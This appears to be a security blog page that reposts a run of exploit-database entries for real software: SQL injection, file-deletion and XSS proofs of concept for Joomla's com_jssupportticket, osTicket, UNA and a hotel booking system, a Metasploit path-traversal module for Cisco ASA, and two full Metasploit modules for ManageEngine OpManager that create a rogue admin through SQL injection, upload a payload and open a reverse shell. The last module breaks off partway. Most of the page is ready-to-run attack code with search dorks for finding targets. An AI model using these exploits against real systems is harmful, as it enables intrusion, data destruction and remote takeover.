#Exploit Title: Joomla! component com_jssupportticket - SQL Injection
#Dork: inurl:"index.php?option=com_jssupportticket"
#Date: 08.08.19
#Exploit Author: qw3rTyTy
#Vendor Homepage: https://www.joomsky.com/
#Software Link: https://www.joomsky.com/46/download/1.html
#Version: 1.1.5
#Tested on: Debian/nginx/joomla 3.9.0
#####################################
#Vulnerability details:
#####################################
Vulnerable code is in line 441 in file admin/models/userfields.php
439 function dataForDepandantField( $val , $childfield){
440 $db = $this->getDBO();
441 $query = "SELECT userfieldparams,fieldtitle,field,depandant_field FROM `#__js_ticket_fieldsordering` WHERE field = '".$childfield."'"; //!!!
442 $db->setQuery($query);
443 $data = $db->loadObject();
444 $decoded_data = json_decode($data->userfieldparams);
445 $comboOptions = array();
446 $flag = 0;
447 foreach ($decoded_data as $key => $value) {
448 if($key == $val){
449 for ($i=0; $i < count($value) ; $i++) {
450 if($flag == 0){
451 $comboOptions[] = array('value' => '', 'text' => JText::_('Select').' '.$data->fieldtitle);
452 }
453 $comboOptions[] = array('value' => $value[$i], 'text' => $value[$i]);
454 $flag = 1;
455 }
456 }
457 }
458 $jsFunction = '';
459 if ($data->depandant_field != null) {
460 $jsFunction = "onchange=getDataForDepandantField('" . $data->field . "','" . $data->depandant_field . "',1);";
461 }
462 $html = JHTML::_('select.genericList', $comboOptions , $childfield,'class="inputbox one"'.$jsFunction, 'value' , 'text' ,'');
463 return $html;
464 }
#####################################
#PoC:
#####################################
$> sqlmap.py -u "http://localhost/index.php?option=com_jssupportticket&c=ticket&task=datafordepandantfield&fvalue=0&child=0" --random-agent -p child --dbms=mysql
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
-
Entries
16114 -
Comments
7952 -
Views
863593587
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
#Exploit Title: Joomla! component com_jssupportticket - Authenticated SQL Injection
#Dork: inurl:"index.php?option=com_jssupportticket"
#Date: 10.08.19
#Exploit Author: qw3rTyTy
#Vendor Homepage: https://www.joomsky.com/
#Software Link: https://www.joomsky.com/46/download/1.html
#Version: 1.1.6
#Tested on: Debian/nginx/joomla 3.9.0
#####################################
#Vulnerability details:
#####################################
Vulnerable code is in line 31 in file admin/models/ticketreply.php
...snip...
24 function storeTicketReplies($ticketid, $message, $created, $data2) {
25 if (!is_numeric($ticketid))
26 return false;
27
28 //validate reply for break down
29 $ticketrandomid = $data2['ticketrandomid']; //!!!
30 $db = $this->getDBo();
31 $query = "SELECT id FROM `#__js_ticket_tickets` WHERE ticketid='$ticketrandomid'"; //!!!
32 $db->setQuery($query);
33 $res = $db->loadResult();
34 if($res != $ticketid){
35 return false;
36 }//end
...snip...
#####################################
#PoC:
#####################################
$> sqlmap.py -u "http://localhost/index.php" --random-agent --dbms=mysql --method POST --data 'option=com_jssupportticket&c=ticket&task=actionticket&Itemid=666&ticketid=666&callfrom=savemessage&message=woot&created=woot&ticketrandomid=woot&{VALID_FORMTOKEN_FROM_TICKETDETAIL}=1' -p ticketrandomid --cookie 'VALID_SESSION_ID=VALID_SESSION_ID'
# Exploit Title: [UNA - 10.0.0-RC1 stored XSS vuln.]
# Date: [2019 08 10]
# Exploit Author: [Greg.Priest]
# Vendor Homepage: [https://una.io/]
# Software Link: [https://github.com/unaio/una/tree/master/studio]
# Version: [UNA - 10.0.0-RC1]
# Tested on: [Windows/Linux ]
# CVE : [CVE-2019-14804]
UNA-v.10.0.0-RC1 [Stored XSS Vulnerability]#1
Sign in to admin and look for the ["etemplates"] page (/studio/polyglot.php?page=etemplates)!
Click ["Emails"] and edit the templates! Inject the JavaScript code into the ["System Name"] field!
http://127.0.0.1/UNA/studio/polyglot.php?page=etemplates
https://github.com/Gr3gPr1est/BugReport/blob/master/CVE-2019-14804.pdf
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "Cisco Adaptive Security Appliance - Path Traversal",
'Description' => %q{
Cisco Adaptive Security Appliance - Path Traversal (CVE-2018-0296)
A security vulnerability in Cisco ASA that would allow an attacker to view sensitive system information without authentication by using directory traversal techniques.
Google Dork:inurl:+CSCOE+/logon.html
},
'License' => MSF_LICENSE,
'Author' =>
[
'Yassine Aboukir', #Initial discovery
'Angelo Ruwantha @h3llwings' #msf module
],
'References' =>
[
['EDB', '44956'],
['URL', 'https://www.exploit-db.com/exploits/44956/']
],
'Arch' => ARCH_CMD,
'Compat' =>
{
'PayloadType' => 'cmd'
},
'Platform' => ['unix','linux'],
'Targets' =>
[
['3000 Series Industrial Security Appliance (ISA)
ASA 1000V Cloud Firewall
ASA 5500 Series Adaptive Security Appliances
ASA 5500-X Series Next-Generation Firewalls
ASA Services Module for Cisco Catalyst 6500 Series Switches and Cisco 7600 Series Routers
Adaptive Security Virtual Appliance (ASAv)
Firepower 2100 Series Security Appliance
Firepower 4100 Series Security Appliance
Firepower 9300 ASA Security Module
FTD Virtual (FTDv)', {}]
],
'Privileged' => false,
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'Ex: https://vpn.example.com', '/']),
OptString.new('SSL', [true, 'set it as true', 'true']),
OptString.new('RPORT', [true, '443', '443']),
], self.class)
end
def run
uri = target_uri.path
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, '/+CSCOU+/../+CSCOE+/files/file_list.json?path=/'),
})
if res && res.code == 200 && res.body.include?("{'name'")
print_good("#{peer} is Vulnerable")
print_status("Directory Index ")
print_good(res.body)
res_dir = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, '/+CSCOU+/../+CSCOE+/files/file_list.json?path=%2bCSCOE%2b'),
})
res_users = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, '/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions/'),
})
userIDs=res_users.body.scan(/[0-9]\w+/).flatten
print_status("CSCEO Directory ")
print_good(res_dir.body)
print_status("Active Session(s) ")
print_status(res_users.body)
x=0
begin
print_status("Getting User(s)")
while (x<=userIDs.length)
users = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, '/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions/'+userIDs[x]),
})
grab_username=users.body.scan(/user:\w+/)
nonstr=grab_username
if (!nonstr.nil? && nonstr!="")
print_good("#{nonstr}")
end
x=x+1
end
rescue
print_status("Complete")
end
else
print_error("safe")
return Exploit::CheckCode::Safe
end
end
end
# Exploit Title:BSI Advance Hotel Booking System Persistent XSS
# Google Dork: intext:Hotel Booking System v2.0 © 2008 - 2012 Copyright Best Soft Inc
# Date: Wed Jun 4 2014
# Exploit Author: Angelo Ruwantha
# Vendor Homepage: http://www.bestsoftinc.com
# Software Link: http://www.bestsoftinc.com/php-advance-hotel-booking-system.html
# Version: V2.0
# Tested on: archlinux
# CVE : CVE-2014-4035
Vulnerability
========================
[+]Method:POST
1.http://URL/hotel-booking/booking_details.php (;persistent XSS)
allowlang=&title=<IMG SRC="javascript:alert('HelloWorld ;)');"&fname=&lname=&str_addr=&city=&state=&zipcode=&country=&phone=&fax=&email=&payment_type=&message=&tos=
every parameter injectable :)
#Exploit Title: Joomla! component com_jssupportticket - Authenticated Arbitrary File Deletion
#Dork: inurl:"index.php?option=com_jssupportticket"
#Date: 10.08.19
#Exploit Author: qw3rTyTy
#Vendor Homepage: https://www.joomsky.com/
#Software Link: https://www.joomsky.com/46/download/1.html
#Version: 1.1.6
#Tested on: Debian/nginx/joomla 3.9.0
#####################################
#Vulnerability details:
#####################################
This vulnerability is caused when processing custom user field.
file: admin/models/ticket.php
function: storeTicket
54 function storeTicket($data){
...snip...
75 $userfield = $this->getJSModel('userfields')->getUserfieldsfor(1);
76 $params = array();
77 foreach ($userfield AS $ufobj) {
78 $vardata = '';
...snip...
121 if(isset($data[$ufobj->field.'_1']) && $data[$ufobj->field.'_1'] == 1){
122 $customflagfordelete = true;
123 $custom_field_namesfordelete[]= $data[$ufobj->field.'_2']; //no check.
...snip...
198 if($customflagfordelete == true){
199 foreach ($custom_field_namesfordelete as $key) {
200 $res = $this->removeFileCustom($ticketid,$key); //!!!
201 }
202 }
...snip...
1508 function removeFileCustom($id, $key){
1509 $filename = str_replace(' ', '_', $key);
1510
1511 if(! is_numeric($id))
1512 return;
1513
1514 $db = JFactory::getDbo();
1515 $config = $this->getJSModel('config')->getConfigByFor('default');
1516 $datadirectory = $config['data_directory'];
1517
1518 $base = JPATH_BASE;
1519 if(JFactory::getApplication()->isAdmin()){
1520 $base = substr($base, 0, strlen($base) - 14); //remove administrator
1521 }
1522
1523 $path = $base . '/' . $datadirectory. '/attachmentdata/ticket';
1524
1525 $query = "SELECT attachmentdir FROM `#__js_ticket_tickets` WHERE id = ".$id;
1526 $db->setQuery($query);
1527 $foldername = $db->loadResult();
1528 $userpath = $path . '/' . $foldername.'/'.$filename;
1529 unlink($userpath); //!!!
1530 return;
1531 }
#####################################
#PoC:
#####################################
When administrator has added custom user field as "19", attacker are can trigger this vulnerability by send a following request.
$> curl -X POST -i -F 'option=com_jssupportticket' -F 'c=ticket' -F 'task=saveTicket' -F '{VALID_FORMTOKEN_FROM_FORMTICKET}=1' -F 'Itemid=666' -F 'id=' -F 'message=woot' -F '19_1=1' -F '19_2=../../../../configuration.php' -F 'filename[]=@./woot.txt' -H 'Cookie: VALID_SESSION_ID=VALID_SESSION_ID' 'http://localhost/index.php'
# Exploit Title: osTicket-v1.12 Stored XSS
# Vendor Homepage: https://osticket.com/
# Software Link: https://osticket.com/download/
# Exploit Author: Aishwarya Iyer
# Contact: https://twitter.com/aish_9524
# Website: https://about.me/aish_iyer
# Category: webapps
# CVE: CVE-2019-14750
1. Description
An issue was discovered in osTicket before 1.10.7 and 1.12.x before 1.12.1.
Stored XSS exists in setup/install.php. It was observed that no input
sanitization was provided in the firstname and lastname fields of the
application. The insertion of malicious queries in those fields leads to
the execution of those queries. This can further lead to cookie stealing or
other malicious actions.
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-14750
2. Proof of Concept
Steps to Reproduce:
- While setting up the osTicket application in the setup/install.php page
insert the XSS payload into the first name and last name field.
- After filling in all the other details and clicking on 'continue', it is
observed that there is no validation for the first name and last name field
and the malicious payload is stored and a new agent is created.
- Login as that agent and navigate to "agents" tab where we will find the
inserted payload in the firstname and Lastname field.
- Click on the firstname value and see the payload gets executed
3. Reference
https://github.com/osTicket/osTicket/commit/c3ba5b78261e07a883ad8fac28c214486c854e12
https://github.com/osTicket/osTicket/releases/tag/v1.12.1
https://github.com/osTicket/osTicket/releases/tag/v1.10.7
4. Solution
The vulnerability has been patched by the vendor in the next release which
is osTicket v1.10.7.
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "ManageEngine OpManager 12.4x - Privilege Escalation / Remote Command Execution",
'Description' => %q(
This module exploits sqli and command injection vulnerability in the OpManager v12.4.034 and prior versions.
Module creates a new admin user with SQLi (MSSQL/PostgreSQL) and provides privilege escalation.
Therefore low authority user can gain the authority of "system" on the server.
It uploads malicious file using the "Execute Program Action(s)" feature of Application Manager Plugin.
/////// This 0day has been published at DEFCON-AppSec Village. ///////
),
'License' => MSF_LICENSE,
'Author' =>
[
'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module @ehakkus
],
'References' =>
[
[ 'URL', 'http://pentest.com.tr/exploits/DEFCON-ManageEngine-OpManager-v12-4-Privilege-Escalation-Remote-Command-Execution.html' ]
],
'DefaultOptions' =>
{
'WfsDelay' => 60,
'RPORT' => 8060,
'SSL' => false,
'PAYLOAD' => 'generic/shell_reverse_tcp'
},
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
},
'Platform' => ['unix', 'win'],
'Targets' =>
[
[ 'Windows Target',
{
'Platform' => ['win'],
'Arch' => ARCH_CMD,
}
],
[ 'Linux Target',
{
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Payload' =>
{
'Compat' =>
{
'PayloadType' => 'cmd',
}
}
}
]
],
'DisclosureDate' => '10 August 2019 //DEFCON',
'DefaultTarget' => 0))
register_options(
[
OptString.new('USERNAME', [true, 'OpManager Username']),
OptString.new('PASSWORD', [true, 'OpManager Password']),
OptString.new('TARGETURI', [true, 'Base path for ME application', '/'])
],self.class)
end
def check_platform(host, port, cookie)
res = send_request_cgi(
'rhost' => host,
'rport' => port,
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'showTile.do'),
'cookie' => cookie,
'vars_get' => {
'TileName' => '.ExecProg',
'haid' => 'null',
}
)
if res && res.code == 200 && res.body.include?('createExecProgAction')
@dir = res.body.split('name="execProgExecDir" maxlength="200" size="40" value="')[1].split('" class=')[0]
if @dir =~ /:/
platform = Msf::Module::Platform::Windows
else
platform = Msf::Module::Platform::Unix
end
else
fail_with(Failure::Unreachable, 'Connection error occurred! DIR could not be detected.')
end
file_up(host, port, cookie, platform, @dir)
end
def file_up(host, port, cookie, platform, dir)
if platform == Msf::Module::Platform::Windows
filex = ".bat"
else
if payload.encoded =~ /sh/
filex = ".sh"
elsif payload.encoded =~ /perl/
filex = ".pl"
elsif payload.encoded =~ /awk 'BEGIN{/
filex = ".sh"
elsif payload.encoded =~ /python/
filex = ".py"
elsif payload.encoded =~ /ruby/
filex = ".rb"
else
fail_with(Failure::Unknown, 'Payload type could not be checked!')
end
end
@fname= rand_text_alpha(9 + rand(3)) + filex
data = Rex::MIME::Message.new
data.add_part('./', nil, nil, 'form-data; name="uploadDir"')
data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"theFile\"; filename=\"#{@fname}\"")
res = send_request_cgi({
'rhost' => host,
'rport' => port,
'method' => 'POST',
'data' => data.to_s,
'agent' => 'Mozilla',
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'cookie' => cookie,
'uri' => normalize_uri(target_uri, "Upload.do")
})
if res && res.code == 200 && res.body.include?('icon_message_success')
print_good("#{@fname} malicious file has been uploaded.")
create_exec_prog(host, port, cookie, dir, @fname)
else
fail_with(Failure::Unknown, 'The file could not be uploaded!')
end
end
def create_exec_prog(host, port, cookie, dir, fname)
@display = rand_text_alphanumeric(7)
res = send_request_cgi(
'method' => 'POST',
'rhost' => host,
'rport' => port,
'uri' => normalize_uri(target_uri.path, 'adminAction.do'),
'cookie' => cookie,
'vars_post' => {
'actions' => '/showTile.do?TileName=.ExecProg&haid=null',
'method' => 'createExecProgAction',
'id' => 0,
'displayname' => @display,
'serversite' => 'local',
'choosehost' => -2,
'abortafter' => 5,
'command' => fname,
'execProgExecDir' => dir,
'cancel' => 'false'
}
)
if res && res.code == 200 && res.body.include?('icon_message_success')
actionid = res.body.split('actionid=')[1].split("','710','350','250','200')")[0]
print_status("Transactions completed. Attempting to get a session...")
exec(host, port, cookie, actionid)
else
fail_with(Failure::Unreachable, 'Connection error occurred!')
end
end
def exec(host, port, cookie, action)
send_request_cgi(
'method' => 'GET',
'rhost' => host,
'rport' => port,
'uri' => normalize_uri(target_uri.path, 'common', 'executeScript.do'),
'cookie' => cookie,
'vars_get' => {
'method' => 'testAction',
'actionID' => action,
'haid' => 'null'
}
)
end
def peer
"#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
end
def print_status(msg='')
super("#{peer} - #{msg}")
end
def print_error(msg='')
super("#{peer} - #{msg}")
end
def print_good(msg='')
super("#{peer} - #{msg}")
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'apiclient', 'ember', 'Login.jsp'),
)
# For this part the build control will be placed.
# For now, AppManager plugin control is sufficient.
if res && res.code == 200 && res.body.include?('Logout.do?showPreLogin=false')
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end
def app_login
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'apiclient', 'ember', 'Login.jsp'),
)
appm_adr = res.body.split('<iframe src="')[1].split('/Logout.do?showPreLogin=false')[0]
am_host = appm_adr.split('://')[1].split(':')[0]
am_port = appm_adr.split('://')[1].split(':')[1]
if res && res.code == 200 && res.body.include?('.loginForm')
@cookie = res.get_cookies
res = send_request_cgi(
'rhost' => am_host,
'rport' => am_port,
'method' => 'GET',
'cookie' => @cookie,
'uri' => '/Logout.do?showPreLogin=true',
)
appm_cookie = 'JSESSIONID_APM_' << res.headers['set-cookie'].split('JSESSIONID_APM_')[1].split('; ')[0]
else
print_error("APM Plugin does not working!")
end
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'apiclient', 'ember', 'j_security_check'),
'vars_post' => {
'j_username' => datastore['USERNAME'],
'j_password' => datastore['PASSWORD']
}
)
if res && res.code == 302
print_good("Successful login OPM with user : #{datastore['USERNAME']}")
@cookie = res.get_cookies
saltcookie = res.headers['set-cookie'].split('JSESSIONID=')[1].split('; ')[0]
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, ';jsessionid=' + saltcookie),
'cookie' => @cookie,
)
@cookie = res.get_cookies
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'apiclient', 'ember', 'index.jsp'),
'cookie' => @cookie,
)
cookie = @cookie + " " + res.get_cookies
res = send_request_cgi(
'rhost' => am_host,
'rport' => am_port,
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/MyPage.do?method=viewDashBoard&plugin_view=true&PRINTER_FRIENDLY=true&opm_user=' + datastore['USERNAME']),
'cookie' => cookie
)
@cookie = cookie + " " + res.get_cookies
res = send_request_cgi(
'method' => 'POST',
'rhost' => am_host,
'rport' => am_port,
'cookie' => @cookie,
'uri' => normalize_uri(target_uri.path, '/j_security_check'),
'vars_post' => {
'j_username' => datastore['USERNAME'],
'j_password' => datastore['USERNAME'] + "@opm",
'submit' => 'Login'
}
)
res = send_request_cgi(
'rhost' => am_host,
'rport' => am_port,
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/MyPage.do?method=viewDashBoard&plugin_view=true&PRINTER_FRIENDLY=true&opm_user=' + datastore['USERNAME']),
'cookie' => @cookie
)
@cookies = @cookie + " " + res.get_cookies
send_sqli(am_host, am_port, @cookies, @cookie)
else
fail_with(Failure::Unreachable, 'Connection error occurred! User information is incorrect.')
end
end
def exploit
unless Exploit::CheckCode::Vulnerable == check
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
end
app_login
end
def send_sqli(host, port, cookies, cookie)
@uname = Rex::Text.rand_text_alpha_lower(6)
uid = rand_text_numeric(3)
apk = rand_text_numeric(6)
@pwd = rand_text_alphanumeric(8+rand(9))
@uidCHR = "#{uid.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}"
@unameCHR = "#{@uname.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}"
@apkCHR = "#{apk.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}"
@adm = "CHAR(65)+CHAR(68)+CHAR(77)+CHAR(73)+CHAR(78)"
pg_user =""
pg_user << "1;insert+into+AM_UserPasswordTable+(userid,username,password)+values+"
pg_user << "($$#{uid}$$,$$#{@uname}$$,$$#{Rex::Text.md5(@pwd)}$$);"
pg_user << "insert+into+Am_UserGroupTable+(username,groupname)+values+($$#{@uname}$$,$$ADMIN$$);--+"
ms_user =""
ms_user << "1 INSERT INTO AM_UserPasswordTable(userid,username,password,apikey) values (#{@uidCHR},"
ms_user << " #{@unameCHR}, 0x#{Rex::Text.md5(@pwd)}, #{@apkCHR});"
ms_user << "INSERT INTO AM_UserGroupTable(username,groupname) values (#{@unameCHR}, #{@adm})--"
res = send_request_cgi(
'rhost' => host,
'rport' => port,
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/jsp/NewThresholdConfiguration.jsp?resourceid=' + pg_user + '&attributeIDs=17,18&attributeToSelect=18'),
'cookie' => cookies
)
res = send_request_cgi(
'rhost' => host,
'rport' => port,
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/jsp/NewThresholdConfiguration.jsp?resourceid=' + ms_user + '&attributeIDs=17,18&attributeToSelect=18'),
'cookie' => cookies
)
res = send_request_cgi(
'rhost' => host,
'rport' => port,
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'applications.do'),
)
if res && res.code == 200 && res.body.include?('.loginDiv')
@cookie = res.get_cookies
res = send_request_cgi(
'method' => 'POST',
'rhost' => host,
'rport' => port,
'cookie' => @cookie,
'uri' => normalize_uri(target_uri.path, '/j_security_check'),
'vars_post' => {
'clienttype' => 'html',
'j_username' => @uname,
'j_password' => @pwd,
'submit' => 'Login'
}
)
if res && res.code == 302 && res.body.include?('Redirecting to')
print_good("Privilege Escalation was successfully performed.")
print_good("New APM admin username = " + @uname)
print_good("New APM admin password = " + @pwd)
res = send_request_cgi(
'rhost' => host,
'rport' => port,
'cookie' => @cookie,
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'applications.do'),
)
@cookie = res.get_cookies
check_platform(host, port, @cookie)
else
fail_with(Failure::NotVulnerable, 'Failed to perform privilege escalation!')
end
else
fail_with(Failure::NotVulnerable, 'Something went wrong!')
end
end
end
# Exploit Title: osTicket-v1.12 Stored XSS via File Upload
# Vendor Homepage: https://osticket.com/
# Software Link: https://osticket.com/download/
# Exploit Author: Aishwarya Iyer
# Contact: https://twitter.com/aish_9524
# Website: https://about.me/aish_iyer
# Category: webapps
# CVE: CVE-2019-14748
1. Description
An issue was discovered in osTicket before 1.10.7 and 1.12.x before 1.12.1.
The Ticket creation form allows users to upload files along with queries.
It was found that the file-upload functionality has fewer (or no)
mitigations implemented for file content checks; also, the output is not
handled properly, causing persistent XSS that leads to cookie stealing or
malicious actions. For
example, a non-agent user can upload a .html file, and Content-Disposition
will be set to inline instead of an attachment.
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-14748
2. Proof of Concept
Steps to Reproduce:
- Login to the portal as a non agent user:
- Open a New Ticket
- Select any option from the dropdown menu present under "Help Topic"
- Text box appears, enter details accordingly
- In the section "drop files here or choose them", we would be putting our
payload
- Open any text editor and name the file as test(say) with .html extension.
- Within the file, enter the payload
<script>alert(document.cookie);</script>
- Save the test.html file.
- Now click on drop files here option and enter the test.html file.
- Click on "create ticket" option
- Login with another user(agent)
- Now within the User Directory, go to the user under which the payload has
been put.
- The ticket raised with the name mentioned will be shown under the subject
category.
- Scroll down and the file uploaded will be present below.
- Click on the file, and the payload gets executed which is persistent
3. Reference
https://github.com/osTicket/osTicket/commit/33ed106b1602f559a660a69f931a9d873685d1ba
https://github.com/osTicket/osTicket/releases/tag/v1.12.1
https://github.com/osTicket/osTicket/releases/tag/v1.10.7
4. Solution
The vulnerability has been patched by the vendor in the next release which
is osTicket v1.10.7.
# Exploit Title: osTicket-v1.12 Formula Injection
# Vendor Homepage: https://osticket.com/
# Software Link: https://osticket.com/download/
# Exploit Author: Aishwarya Iyer
# Contact: https://twitter.com/aish_9524
# Website: https://about.me/aish_iyer
# Category: webapps
# CVE: CVE-2019-14749
1. Description
An issue was discovered in osTicket before 1.10.7 and 1.12.x before 1.12.1.
CSV (aka Formula) injection exists in the export spreadsheets
functionality. These spreadsheets are generated dynamically from
unvalidated or unfiltered user input in the Name and Internal Notes fields
in the Users tab, and the Issue Summary field in the tickets tab. This
allows other agents to download data in a .csv file format or .xls file
format. This is used as input for spreadsheet applications such as Excel
and OpenOffice Calc, resulting in a situation where cells in the
spreadsheets can contain input from an untrusted source. As a result, the
end user who is accessing the exported spreadsheet can be affected.
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-14749
2. Proof of Concept
Steps to Reproduce:
- Login as an agent and under the "Users" section create a new user.
- Insert the crafted payload of Formula Injection into "Name" and "Internal
Notes" field.
- Login as another agent and under the Users tab, click on export and then
save the ".csv" file.
- It is observed that the payload gets executed in excel and this leads to
remote code execution.
- Not just an agent, even a non-agent user has the option to edit his name
where he can insert the malicious payload of Formula Injection.
- The application does not sanitize the inputs here due to which when the
agent clicks on export the payload gets executed.
-The same issue persisted in the "Issue Summary" field in the tickets tab.
3. Reference
https://github.com/osTicket/osTicket/commit/99818486c5b1d8aa445cee232825418d6834f249
https://github.com/osTicket/osTicket/releases/tag/v1.12.1
https://github.com/osTicket/osTicket/releases/tag/v1.10.7
4. Solution
The vulnerability has been patched by the vendor in the next release which
is osTicket v1.10.7.
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "ManageEngine OpManager v12.4x - Unauthenticated Remote Command Execution",
'Description' => %q(
This module bypasses the user password requirement in the OpManager v12.4.034 and prior versions.
It performs authentication bypass and executes commands on the server.
/////// This 0day has been published at DEFCON-AppSec Village. ///////
),
'License' => MSF_LICENSE,
'Author' =>
[
'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module @ehakkus
],
'References' =>
[
[ 'URL', 'http://pentest.com.tr/exploits/DEFCON-ManageEngine-OpManager-v12-4-Unauthenticated-Remote-Command-Execution.html' ]
],
'DefaultOptions' =>
{
'WfsDelay' => 60,
'RPORT' => 8060,
'SSL' => false,
'PAYLOAD' => 'generic/shell_reverse_tcp'
},
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
},
'Platform' => ['unix', 'win'],
'Targets' =>
[
[ 'Windows Target',
{
'Platform' => ['win'],
'Arch' => ARCH_CMD,
}
],
[ 'Linux Target',
{
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Payload' =>
{
'Compat' =>
{
'PayloadType' => 'cmd',
}
}
}
]
],
'DisclosureDate' => '10 August 2019 //DEFCON',
'DefaultTarget' => 0))
register_options(
[
OptString.new('USERNAME', [true, 'OpManager Username', 'admin']),
OptString.new('TARGETURI', [true, 'Base path for ME application', '/'])
],self.class)
end
def check_platform(host, port, cookie)
res = send_request_cgi(
'rhost' => host,
'rport' => port,
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'showTile.do'),
'cookie' => cookie,
'vars_get' => {
'TileName' => '.ExecProg',
'haid' => 'null',
}
)
if res && res.code == 200 && res.body.include?('createExecProgAction')
@dir = res.body.split('name="execProgExecDir" maxlength="200" size="40" value="')[1].split('" class=')[0]
if @dir =~ /:/
platform = Msf::Module::Platform::Windows
else
platform = Msf::Module::Platform::Unix
end
else
fail_with(Failure::Unreachable, 'Connection error occurred! DIR could not be detected.')
end
file_up(host, port, cookie, platform, @dir)
end
def file_up(host, port, cookie, platform, dir)
if platform == Msf::Module::Platform::Windows
filex = ".bat"
else
if payload.encoded =~ /sh/
filex = ".sh"
elsif payload.encoded =~ /perl/
filex = ".pl"
elsif payload.encoded =~ /awk 'BEGIN{/
filex = ".sh"
elsif payload.encoded =~ /python/
filex = ".py"
elsif payload.encoded =~ /ruby/
filex = ".rb"
else
fail_with(Failure::Unknown, 'Payload type could not be checked!')
end
end
@fname= rand_text_alpha(9 + rand(3)) + filex
data = Rex::MIME::Message.new
data.add_part('./', nil, nil, 'form-data; name="uploadDir"')
data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"theFile\"; filename=\"#{@fname}\"")
res = send_request_cgi({
'rhost' => host,
'rport' => port,
'method' => 'POST',
'data' => data.to_s,
'agent' => 'Mozilla',
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'cookie' => cookie,
'uri' => normalize_uri(target_uri, "Upload.do")
})
if res && res.code == 200 && res.body.include?('icon_message_success')
print_good("#{@fname} malicious file has been uploaded.")
create_exec_prog(host, port, cookie, dir, @fname)
else
fail_with(Failure::Unknown, 'The file could not be uploaded!')
end
end
def create_exec_prog(host, port, cookie, dir, fname)
@display = rand_text_alphanumeric(7)
res = send_request_cgi(
'method' => 'POST',
'rhost' => host,
'rport' => port,
'uri' => normalize_uri(target_uri.path, 'adminAction.do'),
'cookie' => cookie,
'vars_post' => {
'actions' => '/showTile.do?TileName=.ExecProg&haid=null',
'method' => 'createExecProgAction',
'id' => 0,
'displayname' => @display,
'serversite' => 'local',
'choosehost' => -2,
'abortafter' => 5,
'command' => fname,
'execProgExecDir' => dir,
'cancel' => 'false'
}
)
if res && res.code == 200 && res.body.include?('icon_message_success')
actionid = res.body.split('actionid=')[1].split("','710','350','250','200')")[0]
print_status("Transactions completed. Attempting to get a session...")
exec(host, port, cookie, actionid)
else
fail_with(Failure::Unreachable, 'Connection error occurred!')
end
end
def exec(host, port, cookie, action)
send_request_cgi(
'method' => 'GET',
'rhost' => host,
'rport' => port,
'uri' => normalize_uri(target_uri.path, 'common', 'executeScript.do'),
'cookie' => cookie,
'vars_get' => {
'method' => 'testAction',
'actionID' => action,
'haid' => 'null'
}
)
end
def peer
"#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
end
def print_status(msg='')
super("#{peer} - #{msg}")
end
def print_error(msg='')
super("#{peer} - #{msg}")
end
def print_good(msg='')
super("#{peer} - #{msg}")
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'apiclient', 'ember', 'Login.jsp'),
)
if res && res.code == 200 && res.body.include?('Logout.do?showPreLogin=false')
appm_adr = res.body.split('<iframe src="')[1].split('/Logout.do?showPreLogin=false')[0]
am_host = appm_adr.split('://')[1].split(':')[0]
am_port = appm_adr.split('://')[1].split(':')[1]
res = send_request_cgi(
'rhost' => am_host,
'rport' => am_port,
'method' => 'GET',
